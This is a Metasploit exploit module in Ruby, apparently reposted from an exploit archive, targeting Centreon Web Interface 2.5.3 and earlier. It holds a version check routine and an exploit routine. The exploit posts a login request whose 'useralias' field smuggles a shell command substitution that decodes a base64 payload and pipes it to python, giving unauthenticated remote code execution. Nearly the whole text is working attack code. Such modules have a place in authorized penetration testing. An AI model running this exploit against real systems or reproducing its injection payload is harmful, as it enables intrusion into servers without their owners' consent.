Centreon 2.5.3 – Web Useralias Command Execution (Metasploit)
## ## This module requires Metasploit: http://metasploit.com/download ## Current source: https://github.com/rapid7/metasploit-framework ### require 'msf/core' class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient Rank = ExcellentRanking def initialize(info = {}) super( update_info( info, 'Name' => 'Centreon Web Useralias Command Execution', 'Description' => %q( Centreon Web Interface <= 2.5.3 utilizes an ECHO for logging SQL errors. This functionality can be abused for arbitrary code execution, and can be triggered via the login screen prior to authentication. ), 'Author' => [ 'h00die <mike@shorebreaksecurity.com>', # module 'Nicolas CHATELAIN <n.chatelain@sysdream.com>' # discovery ], 'References' => [ [ 'EDB', '39501' ] ], 'License' => MSF_LICENSE, 'Platform' => ['python'], 'Privileged' => false, 'Arch' => ARCH_PYTHON, 'Targets' => [ [ 'Automatic Target', {}] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Feb 26 2016' ) ) register_options( [ Opt::RPORT(80), OptString.new('TARGETURI', [ true, 'The URI of the Centreon Application', '/centreon/']) ], self.class ) end def check begin res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'GET' ) /LoginInvitVersion"><br \/>[\s]+(?<version>[\d]{1,2}\.[\d]{1,2}\.[\d]{1,2})[\s]+<\/td>/ =~ res.body if version && Gem::Version.new(version) <= Gem::Version.new('2.5.3') vprint_good("Version Detected: #{version}") Exploit::CheckCode::Appears else Exploit::CheckCode::Safe end rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") end end def exploit begin vprint_status('Sending malicious login') send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'POST', 'vars_post' => { 'useralias' => "$(echo #{Rex::Text.encode_base64(payload.encoded)} |base64 -d | python)\\", 'password' => Rex::Text.rand_text_alpha(5) } ) rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") end end end |